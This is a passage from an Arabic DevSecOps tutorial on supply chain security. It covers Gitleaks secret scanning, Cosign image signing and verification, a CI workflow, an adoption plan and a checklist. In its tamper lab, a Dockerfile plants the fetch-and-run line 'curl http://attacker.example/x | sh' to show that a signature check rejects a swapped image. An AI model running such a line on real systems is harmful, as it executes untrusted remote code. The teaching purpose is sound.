docker run --rm --name lab-sc-gitleaks -v "$PWD/leaky:/repo" ghcr.io/gitleaks/gitleaks:latest git /repo -v --no-banner --no-color; echo "exit=$?"
```

والمخرج سوف يكون كما يلي:

```text
7:17AM INF scanned ~99 bytes (99 bytes) in 171ms
7:17AM INF no leaks found
exit=0
Finding:     ghp_u8jzPde0IgxLd6GncfBAepfJBd0Kh8oOOL8d
Secret:      ghp_u8jzPde0IgxLd6GncfBAepfJBd0Kh8oOOL8d
RuleID:      github-pat
Entropy:     4.553056
File:        config.js
Line:        3
Commit:      2873be80d5105043e4f3a2b2a69226114f105e81
Author:      Lab
Email:       lab@example.com
Date:        2026-10-06T07:15:07Z
Fingerprint: 2873be80d5105043e4f3a2b2a69226114f105e81:config.js:github-pat:3

7:18AM INF 2 commits scanned.
7:18AM INF scanned ~157 bytes (157 bytes) in 5.91s
7:18AM WRN leaks found: 1
exit=1
```

في المخرج أعلاه لاحظ التالي:

- الأمر `dir` يفحص الملفات كما هي الآن، فلم يجد شيئاً، لأن الملف الحالي يقرأ التوكن من متغير البيئة، وهذا ما يراه المطور فيظن أن كل شيء سليم.
- الأمر `git` يفحص كل ال Commits، فوجد التوكن في ال Commit الأول `2873be80`، والقاعدة `github-pat` هي قاعدة توكنات GitHub الشخصية، وكل من يستنسخ المستودع يستطيع أن يصل إليه بالأمر `git show`.
- رمز الخروج 1 عند وجود سر هو ما يجعل خطوة الخط تفشل، فلا تحتاج إلى كتابة أي منطق إضافي، ويجدر بك في المستودعات القديمة أن تبدأ بفحص التاريخ كله مرة واحدة، ثم تضيف ملف استثناءات `.gitleaksignore` للنتائج التي راجعتها وتأكدت أنها ليست أسراراً.

### توقيع ال Image والتحقق منها مع Cosign

نحتاج الآن إلى Registry، فنشغل ال Registry الرسمي في شبكة Docker خاصة دون أي منفذ على الجهاز، ونرفع ال Image إليه بأداة `crane` من داخل الشبكة نفسها، ثم ننشئ زوج مفاتيح Cosign. وكلمة مرور المفتاح الخاص هنا للتجربة فقط:

```bash
docker network create lab-sc-net
docker run -d --name lab-sc-registry --network lab-sc-net registry:3

docker run --rm --name lab-sc-crane --network lab-sc-net -v "$PWD:/work" -w /work \
  gcr.io/go-containerregistry/crane:latest push app.tar lab-sc-registry:5000/app:1.0 --insecure

docker run --rm --name lab-sc-cosign -v "$PWD:/work" -w /work -e COSIGN_PASSWORD=lab-only-pass \
  ghcr.io/sigstore/cosign/cosign:latest generate-key-pair
```

والمخرج سوف يكون كما يلي:

```text
2026/10/06 07:21:58 lab-sc-registry:5000/app:1.0: digest: sha256:c4c04f9d0735f050308cf5a06d7022461af5e4b82eff77be6d5f5ccea27140c0 size: 1560
lab-sc-registry:5000/app@sha256:c4c04f9d0735f050308cf5a06d7022461af5e4b82eff77be6d5f5ccea27140c0
Private key written to cosign.key
Public key written to cosign.pub
```

الآن نوقع ال Image بال Digest وليس بالوسم، وهذا هو المهم في الأمر كله:

```bash
docker run --rm --name lab-sc-cosign --network lab-sc-net -v "$PWD:/work" -w /work -e COSIGN_PASSWORD=lab-only-pass \
  ghcr.io/sigstore/cosign/cosign:latest sign --key cosign.key --tlog-upload=false --use-signing-config=false \
  --allow-http-registry --yes \
  lab-sc-registry:5000/app@sha256:c4c04f9d0735f050308cf5a06d7022461af5e4b82eff77be6d5f5ccea27140c0
```

والمخرج سوف يكون كما يلي:

```text
Flag --tlog-upload has been deprecated, prefer using a --signing-config file with no transparency log services
Signing artifact...
Pushing signature to: lab-sc-registry:5000/app
```

في الأمر أعلاه لاحظ التالي:

- الخياران `--tlog-upload=false` و`--use-signing-config=false` يمنعان Cosign من تسجيل التوقيع في سجل Rekor العام، لأن التجربة محلية ولا نريد أن ننشر شيئاً عنها على الإنترنت، والتحذير في السطر الأول يقول إن الإصدار 3 يفضل ملف إعداد للتوقيع بدلاً من الخيار الأول، والنتيجة واحدة.
- الخيار `--allow-http-registry` سببه أن ال Registry في التجربة يعمل دون TLS داخل شبكة Docker، ولا تستخدمه مع Registry حقيقي.
- في خط حقيقي على GitHub أو منصة تدعم OIDC يكفي `cosign sign` مع ال Digest دون مفتاح، فيستخدم التوقيع بلا مفاتيح Keyless الذي شرحناه أعلاه.

ثم نتحقق كما سيفعل السيرفر قبل النشر، بالمفتاح العام فقط:

```bash
docker run --rm --name lab-sc-cosign --network lab-sc-net -v "$PWD:/work" -w /work \
  ghcr.io/sigstore/cosign/cosign:latest verify --key cosign.pub --insecure-ignore-tlog=true \
  --allow-http-registry lab-sc-registry:5000/app:1.0
```

والمخرج سوف يكون كما يلي:

```text
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.

Verification for lab-sc-registry:5000/app:1.0 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - Existence of the claims in the transparency log was verified offline
  - The signatures were verified against the specified public key
[{"critical":{"identity":{"docker-reference":"lab-sc-registry:5000/app:1.0"},"image":{"docker-manifest-digest":"sha256:c4c04f9d0735f050308cf5a06d7022461af5e4b82eff77be6d5f5ccea27140c0"},"type":"https://sigstore.dev/cosign/sign/v1"},"optional":{}}]
```

لاحظ أن Cosign حول الوسم `app:1.0` إلى ال Digest أولاً، ثم وجد توقيعاً لهذا ال Digest يطابق المفتاح العام، والتحذير في السطر الأول سببه أننا لم نستخدم سجل Rekor، وهو متوقع في هذه التجربة.

### اكسرها لتفهمها: Image أخرى بالوسم Tag نفسه

الآن نلعب دور المهاجم الذي وصل إلى صلاحية الرفع في ال Registry، فنبني Image تضيف ملفاً إلى تطبيقنا، ونرفعها بالوسم نفسه `app:1.0`، ثم نعيد أمر التحقق نفسه دون أي تغيير:

```bash
mkdir evil && printf 'FROM lab-sc-app:1.0\nUSER root\nRUN echo "curl http://attacker.example/x | sh" > /app/postinstall.sh\nUSER node\n' > evil/Dockerfile
docker build -t lab-sc-app:evil evil && docker save lab-sc-app:evil -o evil.tar
docker run --rm --name lab-sc-crane --network lab-sc-net -v "$PWD:/work" -w /work \
  gcr.io/go-containerregistry/crane:latest push evil.tar lab-sc-registry:5000/app:1.0 --insecure

docker run --rm --name lab-sc-cosign --network lab-sc-net -v "$PWD:/work" -w /work \
  ghcr.io/sigstore/cosign/cosign:latest verify --key cosign.pub --insecure-ignore-tlog=true \
  --allow-http-registry lab-sc-registry:5000/app:1.0; echo "exit=$?"
```

والمخرج سوف يكون كما يلي:

```text
2026/10/06 07:35:11 lab-sc-registry:5000/app:1.0: digest: sha256:3aa8d1ca65771745bef99c5b8485085e07f2b1743059e35fd48a068f3459455d size: 1720
lab-sc-registry:5000/app@sha256:3aa8d1ca65771745bef99c5b8485085e07f2b1743059e35fd48a068f3459455d
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.
Error: no signatures found
error during command execution: no signatures found
exit=10
```

الوسم نفسه أصبح يشير إلى Digest آخر يبدأ بـ `3aa8d1ca`، ولا يوجد لهذا ال Digest أي توقيع، فيتوقف التحقق برمز خروج غير صفري، وخطوة النشر التي تعتمد عليه تتوقف معه. وقد يتساءل البعض: وماذا لو وقع المهاجم ال Image الجديدة بمفتاح من عنده؟ فنفذنا هذه الحالة أيضاً، حيث أنشأنا زوج مفاتيح آخر في مجلد منفصل، ووقعنا به ال Digest الجديد، ثم أعدنا التحقق بمفتاحنا العام، فكان المخرج:

```text
Error: no matching attestations: failed to verify signature: could not verify envelope: accepted signatures do not match threshold, Found: 0, Expected 1
error during command execution: no matching attestations: failed to verify signature: could not verify envelope: accepted signatures do not match threshold, Found: 0, Expected 1
exit=1
```

أي أن التوقيع موجود هذه المرة ولكنه لا يطابق مفتاحنا العام، فيرفض أيضاً. أما ال Image الأصلية فما زالت موجودة في ال Registry بال Digest الخاص بها، والتحقق منها بال Digest ما زال ينجح، وهذا سبب آخر لتكتب ال Digest في ملف النشر بدلاً من الوسم. والصورة التالية تجمع المسارين:

![لوحتان: في الأعلى المسار الطبيعي بست خطوات من اليمين: Build للتطبيق app:1.0، ثم Digest يبدأ بـ sha256:c4c04f9d، ثم SBOM مع syft بصيغة CycloneDX، ثم cosign sign بالمفتاح cosign.key، ثم Registry فيه ال Image مع التوقيع، ثم cosign verify بالمفتاح cosign.pub فيبدأ النشر، وتحتها أن التوقيع بلا مفاتيح يستخدم هوية OIDC وشهادة قصيرة من Fulcio وسجل Rekor، وفي الأسفل مسار المهاجم: push app:1.0 من حساب أو خط مخترق، فيصبح ال Digest sha256:3aa8d1ca، والوسم نفسه يشير إلى محتوى لا يوجد له توقيع، فيرد cosign verify بالخطأ no signatures found ويتوقف النشر](https://arabroot.io/content/images/2026/10/supply-chain-05-sign-verify.webp)

التوقيع مرتبط بال Digest، فأي Image بديلة بالوسم نفسه تفشل في التحقق

### وماذا عن ملف workflow في خط CI نفسه؟

لا تحتاج التجربة إلى GitHub لترى الفكرة، فالخطوات السابقة كلها تتحول في ملف workflow إلى مهام قصيرة، والمهم فيها هو الشكل التالي: صلاحيات قراءة فقط، وكل Action مثبتة بهاش كامل، وكل أداة بإصدار محدد:

```yaml
permissions:
  contents: read

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - name: Secrets
        run: docker run --rm -v "$PWD:/repo" ghcr.io/gitleaks/gitleaks:v8.30.1 git /repo --no-banner
      - name: Dependencies
        run: docker run --rm -v "$PWD:/src" ghcr.io/google/osv-scanner:v2.6.0 scan source -L /src/package-lock.json
```

وثبت الإصدارات هنا أيضاً، فقد رأينا في حادثة Trivy أن إصدارات خبيثة من ال Image الرسمية لأداة الفحص نفسها نشرت في Docker Hub وGHCR، ولو أردت أعلى درجة من الثبات فاكتب Digest ال Image بدلاً من رقم الإصدار، واترك لـ Renovate تحديثه.

### التنظيف Cleanup

نحذف ما أنشأناه فقط بأسمائه، دون أي أمر prune قد يحذف موارد مشاريع أخرى على جهازك:

```bash
docker rm -f lab-sc-registry
docker network rm lab-sc-net
docker volume rm lab-sc-grype-db lab-sc-trivy-cache
docker rmi lab-sc-app:1.0 lab-sc-app:1.1 lab-sc-app:evil
rm -rf lab-sc
```

## خطة تطبيق Adoption Plan لفريق صغير: من الأسبوع الأول إلى الشهر الثالث

كل ما سبق قد يبدو كثيراً على فريق من ثلاثة مطورين، والخطأ الشائع هو أن يحاول الفريق تطبيقه كله في أسبوع، فيمتلئ الخط بالفحوص والنتائج الحمراء، ثم يتعلم الجميع تجاهلها. والأنسب أن تبدأ بالأرخص والأكثر أثراً، كما في الصورة التالية:

![خط زمني من اليمين بأربع مراحل: الأسبوع الأول الأساس الذي لا يكلف شيئاً: ملف القفل وnpm ci، وGitleaks على المستودع وتاريخه، وصلاحيات التوكن قراءة فقط، وMFA لكل حساب ينشر، وتثبيت ال Actions على الهاش، ثم الأسبوع الثاني إلى الرابع الفحص داخل الخط: OSV-Scanner على كل طلب دمج، وGitleaks في الخط وpre-commit، وفحص ال Image بعد البناء، وRenovate مع مراجعة ومهلة، ثم الشهر الثاني اعرف ما تشغله: SBOM لكل إصدار مع Syft، وDependency-Track، وProxy للحزم ونطاق لأسمائك، وRunner مؤقت، ثم الشهر الثالث أثبت ما تنشره: توقيع ال Images مع Cosign، وcosign verify قبل كل نشر، وOIDC بدلاً من المفاتيح الدائمة، وشهادة بناء نحو SLSA](https://arabroot.io/content/images/2026/10/supply-chain-06-adoption.webp)

أربع مراحل، وكل مرحلة تعمل وحدها دون أن تنتظر التي بعدها

1. **الأسبوع الأول، الأساس:** ملف القفل في كل مستودع و`npm ci` في الخط، وفحص التاريخ كاملاً مع Gitleaks مرة واحدة وتبديل أي سر يجده، وصلاحيات قراءة فقط للتوكن الافتراضي، والتحقق متعدد العوامل MFA على كل حساب ينشر حزمة أو يدفع إلى الفرع الرئيسي، وتثبيت ال Actions على الهاش. وكل هذا لا يكلف شيئاً إلا ساعات من العمل.
2. **الأسبوع الثاني إلى الرابع، الفحص في الخط:** OSV-Scanner وGitleaks على كل طلب دمج، وفحص ال Image بعد البناء مع Grype أو Trivy، وابدأ بتقرير لا يوقف الخط، ثم اجعله يوقفه للثغرات الحرجة التي لها إصلاح فقط. وأضف Renovate مع `minimumReleaseAge` لبضعة أيام.
3. **الشهر الثاني، اعرف ما تشغله:** قائمة SBOM لكل إصدار ترفعها إلى Dependency-Track، ونطاق Scope لأسماء حزمك الداخلية ومصدر حزم واحد عبر Verdaccio أو devpi، وRunner مؤقت لكل مهمة.
4. **الشهر الثالث، أثبت ما تنشره:** توقيع ال Images مع Cosign، وخطوة `cosign verify` قبل النشر، وOIDC بدلاً من مفاتيح السحابة الدائمة، ثم شهادة البناء Provenance كخطوة أولى نحو SLSA.

## المعايير Standards والتشريعات Regulations باختصار

أمن سلسلة التوريد لم يعد اختيارياً في بعض الأسواق، وهذا ملخص لأشهر المرجعيات، وليس استشارة قانونية، فارجع إلى النص الرسمي وإلى المختصين في جهتك:

- **الأمر التنفيذي الأمريكي 14028:** صدر في 12 مايو 2021 كما في [صفحة NIST عنه](https://www.nist.gov/itl/executive-order-14028-improving-nations-cybersecurity?ref=arabroot.io)، وطلب في قسمه الرابع معايير لأمن سلسلة توريد البرمجيات، ومنها قائمة SBOM، ونشرت NTIA في 12 يوليو 2021 [العناصر الدنيا لقائمة SBOM](https://www.ntia.gov/report/2021/minimum-elements-software-bill-materials-sbom?ref=arabroot.io) تنفيذاً له، وتتابع CISA الموضوع في [صفحة SBOM](https://www.cisa.gov/sbom?ref=arabroot.io).
- **قانون المرونة السيبرانية الأوروبي Cyber Resilience Act:** هو اللائحة (EU) 2024/2847، ودخل حيز التنفيذ في 10 ديسمبر 2024، وتبدأ التزامات الإبلاغ فيه في 11 سبتمبر 2026، والالتزامات الرئيسية في 11 ديسمبر 2027، كما في [صفحة المفوضية الأوروبية](https://digital-strategy.ec.europa.eu/en/policies/cyber-resilience-act?ref=arabroot.io)، وهو يخص المنتجات ذات العناصر الرقمية التي تباع في السوق الأوروبي، وله معاملة خاصة للبرمجيات مفتوحة المصدر.
- **الضوابط الأساسية للأمن السيبراني NCA ECC في السعودية:** في الإصدار ECC-2:2024 من [الهيئة الوطنية للأمن السيبراني](https://nca.gov.sa/ar/regulatory-documents/controls-list/ecc/?ref=arabroot.io)، يطلب الضابط 1-6-3 في متطلبات مشاريع تطوير البرمجيات حداً أدنى منه استخدام معايير التطوير الآمن، واستخدام مصادر موثوقة ومرخصة لأدوات التطوير والمكتبات (1-6-3-2)، ومراجعة الإعدادات والتحديثات قبل إطلاق المنتجات، ويغطي المكون 4-1 الأمن السيبراني المتعلق بالأطراف الخارجية. وسوف نتناول تحقيق ضوابط ECC بأدوات مفتوحة المصدر في [مرحلة الحوكمة والمخاطر والامتثال GRC في خارطة الطريق](https://arabroot.io/start/#stage-grc).

## المقالات القادمة في هذا الموضوع

هذا الدليل يرسم الخريطة، والتفاصيل العملية لكل أداة لها مقالات قادمة بإذن الله في [مرحلة DevOps وCI/CD في خارطة الطريق](https://arabroot.io/start/#stage-devops)، وهذا موقع كل منها من الخط:

- **المصطلحات:** مصطلحات DevSecOps للمبتدئين SAST وDAST وSCA وSBOM.
- **الخط نفسه:** خط CI/CD آمن بعزل ال Runners وأقل الصلاحيات وتثبيت الإصدارات Pinning.
- **جهاز المطور وطلب الدمج:** اكتشاف الأسرار المسربة مع Gitleaks وTruffleHog، وتحليل الكود الثابت SAST مع Semgrep وSonarQube، وفحص الاعتماديات SCA مع OSV-Scanner وDependency-Track، والتحديث الآلي مع Renovate.
- **البناء:** فحص الثغرات في Docker Images مع Trivy، وقائمة SBOM مع Syft وتوقيع ال Images مع Cosign وSigstore.
- **بعد النشر:** فحص التطبيق أثناء التشغيل DAST مع OWASP ZAP داخل الخط.
- **الإثبات والتخزين:** معايير SLSA، وإدارة الحزم والنواتج مع Nexus.

ومن زاوية لغات البرمجة، يأتي مقال «مديرو الحزم وسلاسل التوريد: npm وpip وMaven وCargo وأمان الاعتماديات» في [مرحلة لغات البرمجة](https://arabroot.io/start/#stage-programming)، ويشرح كيف يحل كل مدير حزم الإصدارات ولماذا تختلف ملفات القفل بينها.

## أخطاء شائعة Common Mistakes

- **نطاقات الإصدارات في الخط دون ملف قفل:** `^4.17.0` مع `npm install` يعني أن البناء القادم قد يسحب إصداراً نشر قبل ساعة، فاحفظ ملف القفل واستخدم `npm ci`.
- **الوسم بدلاً من الهاش في ال Actions:** `@v4` و`@main` اسمان يمكن نقلهما، والهاش الكامل لا يتغير.
- **حذف السر من الكود دون تبديله:** السر موجود في التاريخ وفي كل نسخة مستنسخة، فبدله أولاً ثم نظف التاريخ إن شئت.
- **الخيار extra-index-url لحزمك الداخلية:** يضيف المصدر العام بجانب الداخلي، فيفتح الباب لـ Dependency Confusion، فاستخدم مصدراً واحداً ونطاقاً تملكه.
- **مفتاح سحابة دائم بصلاحيات المدير في أسرار الخط:** استخدم OIDC بتوكن قصير لمهمة واحدة، وإن لم يكن ممكناً فمفتاح بأضيق صلاحية ممكنة يبدل دورياً.
- **تفعيل كل الفحوص دفعة واحدة وإيقاف الخط على كل نتيجة:** سوف يتعلم الفريق تجاوز الفحص، فابدأ بتقرير ثم أوقف الخط للحرج الذي له إصلاح فقط.
- **التوقيع دون التحقق:** توقيع لا يتحقق منه أحد قبل النشر لا يحمي من شيء.
- **الوثوق بأداة الأمان دون تثبيت إصدارها:** حادثة Trivy أثبتت أن أداة الفحص نفسها حلقة في السلسلة.
- **بناء ال Image مرة واحدة وتركها:** الثغرات تظهر بعد النشر كما رأينا في التجربة، فأعد الفحص والبناء دورياً.

## قائمة تحقق Checklist

- هل يوجد ملف قفل في كل مستودع، ويستخدم الخط `npm ci` أو ما يقابله؟
- هل تمر كل اعتمادية جديدة بمراجعة في طلب الدمج؟
- هل كل Action في كل workflow مثبتة على هاش Commit كامل؟
- هل صلاحية التوكن الافتراضية قراءة فقط، وترفع لكل مهمة بحسب حاجتها؟
- هل تستخدم OIDC بدلاً من مفاتيح السحابة الدائمة حيث أمكن؟
- هل ال Runner مؤقت ومعزول، ولا يشغل كود Forks مع الأسرار؟
- هل يعمل فحص الأسرار قبل ال Commit وفي الخط، وهل فحصت التاريخ كاملاً مرة واحدة؟
- هل يفحص كل طلب دمج الاعتماديات، وكل Image بعد بنائها؟
- هل أسماء حزمك الداخلية تحت نطاق تملكه، وللخط مصدر حزم واحد؟
- هل تولد قائمة SBOM لكل إصدار، ويعاد فحصها بعد النشر؟
- هل ال Base Image صغيرة ومثبتة بال Digest ويعاد بناؤها دورياً؟
- هل توقع ال Images ويتحقق منها قبل النشر، ويستخدم ملف النشر ال Digest؟
- هل يوجد MFA على كل حساب ينشر حزمة أو يملك صلاحية الرفع إلى ال Registry؟
- هل تعرف ماذا تفعل إذا اخترقت حلقة: من يبدل الأسرار، وكيف تبدلها كلها في وقت واحد؟

## الخلاصة

وصلنا لنهاية الموضوع، وأهم ما فيه:

- سلسلة التوريد البرمجية هي كل ما بين كود غيرك وسيرفرك: الاعتماديات المباشرة وغير المباشرة، ومستودعات الحزم، وأدوات البناء، وخط CI وإضافاته، وال Base Image، وال Registry، وصلاحيات النشر.
- كل حلقة لها حادثة حقيقية: crossenv للأسماء المشابهة، وtorchtriton وبحث Alex Birsan ل Dependency Confusion، وua-parser-js وnode-ipc للحسابات المخترقة وProtestware، وShai-Hulud للدودة التي تنتشر وحدها، وSolarWinds لنظام البناء، وCircleCI وCodecov لأسرار الخط، وtj-actions وTrivy لل Actions، وAlpine لل Base Image.
- الدفاعات الأساسية رخيصة: ملف القفل و`npm ci`، وال Actions على الهاش، والتوكن بصلاحية قراءة، وOIDC، وفحص الأسرار والاعتماديات، ونطاق لأسمائك الداخلية ومصدر حزم واحد.
- قائمة SBOM تجيب عن سؤال «هل نستخدم هذه المكتبة؟» في ثوان، وإعادة فحصها بعد النشر ضرورية لأن الثغرات تظهر بعد البناء، كما رأينا في التجربة عندما تغيرت النتائج خلال ساعات دون أن تتغير ال Image.
- التوقيع مرتبط بال Digest، فأي Image بديلة بالوسم نفسه تفشل في التحقق، والتوقيع لا قيمة له دون خطوة تحقق قبل النشر.
- ابدأ بالأسبوع الأول من الخطة، فهو لا يكلف شيئاً ويغلق أغلب الأبواب التي رأيناها.

[![](https://arabroot.io/content/images/2026/10/gitea-actions-cover-cover-2.webp)دليلGitea Actions: تشغيل CI/CD وبناء Docker Images على سيرفركاجعل سيرفرك يختبر الكود ويبني Docker Images تلقائياً مع كل push، دون أن يخرج كودك أو أسرارك إلى خدمة CI خارجية.](https://arabroot.io/articles/gitea-actions-%D8%AA%D8%B4%D8%BA%D9%8A%D9%84-ci-cd-%D8%B9%D9%84%D9%89-%D8%AE%D8%A7%D8%AF%D9%85%D9%83/)[![](https://arabroot.io/content/images/2026/10/docker-cover-cover-1.webp)دليلتثبيت Docker Engine وCompose على Ubuntuكيف تثبت Docker على Ubuntu من المستودع الرسمي، وتضبطه من البداية حتى لا يمتلئ القرص أو تنكشف منافذك للإنترنت.](https://arabroot.io/articles/%D8%AA%D8%AB%D8%A8%D9%8A%D8%AA-docker-%D8%B9%D9%84%D9%89-ubuntu/)[![](https://arabroot.io/content/images/2026/10/oss-governance-cover-cover.webp)دليلمن يدير المشروع مفتوح المصدر؟ نماذج الحوكمة Governanceمن يقرر في مشروع يساهم فيه آلاف الأشخاص، ومن يستطيع تغيير رخصته، وما الذي تفحصه قبل أن تعتمد على أي مشروع.](https://arabroot.io/articles/%D8%AD%D9%88%D9%83%D9%85%D8%A9-%D8%A7%D9%84%D9%85%D8%B4%D8%A7%D8%B1%D9%8A%D8%B9-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1-%D9%88%D8%A7%D9%84%D9%85%D8%B3%D8%A7%D9%87%D9%85%D8%A9-%D9%81%D9%8A%D9%87%D8%A7/)[![](https://arabroot.io/content/images/2026/10/environments-gitops-cover-cover.webp)دليلمن الفرع إلى الإنتاج: البيئات وGitOps للفرقكيف يختبر فريقك كل ميزة وحدها ويعرضها على العميل دون أن تصل ميزة غير جاهزة إلى الإنتاج.](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D9%8A%D8%A6%D8%A7%D8%AA-%D9%88%D9%85%D8%B9%D8%A7%D9%8A%D9%86%D8%A9-%D8%A7%D9%84%D9%85%D9%8A%D8%B2%D8%A7%D8%AA-%D9%88-gitops-%D9%84%D9%84%D9%81%D8%B1%D9%82/)[![](https://arabroot.io/content/images/2026/10/trunk-based-cover-cover.webp)دليلTrunk-Based Development: فروع قصيرة ودمج يوميلماذا تنفجر الفروع الطويلة يوم الإصدار، وكيف يدمج الفريق عمله في main كل يوم بأمان مع CI وFeature Flags.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%B7%D9%88%D9%8A%D8%B1-%D8%B9%D9%84%D9%89-%D8%A7%D9%84%D9%81%D8%B1%D8%B9-%D8%A7%D9%84%D8%B1%D8%A6%D9%8A%D8%B3%D9%8A-trunk-based/)[![](https://arabroot.io/content/images/2026/10/dev-checklist-cover-cover.webp)دليلقبل أن تنشر تطبيقك على خادمك: قائمة تحقق للمطورالأخطاء التي لا تظهر إلا بعد نشر تطبيقك في Docker خلف Reverse Proxy، وكيف تعالج كل واحد منها قبل أن يصل إلى المستخدمين.](https://arabroot.io/articles/%D9%82%D8%A7%D8%A6%D9%85%D8%A9-%D8%AA%D8%AD%D9%82%D9%82-%D8%A7%D9%84%D9%85%D8%B7%D9%88%D8%B1-%D9%82%D8%A8%D9%84-%D9%86%D8%B4%D8%B1-%D8%AA%D8%B7%D8%A8%D9%8A%D9%82%D9%87/)

## سجل التحديثات

- أكتوبر 2026: كتابة المقال، والتحقق من كل حادثة من مصدرها الأصلي، وتنفيذ التجربة العملية على Docker Engine 29.8.0 مع Syft 1.54.0 وGrype 0.120.0 وTrivy 0.75.0 وOSV-Scanner 2.6.0 وGitleaks 8.30.1 وCosign 3.1.3 وregistry:3.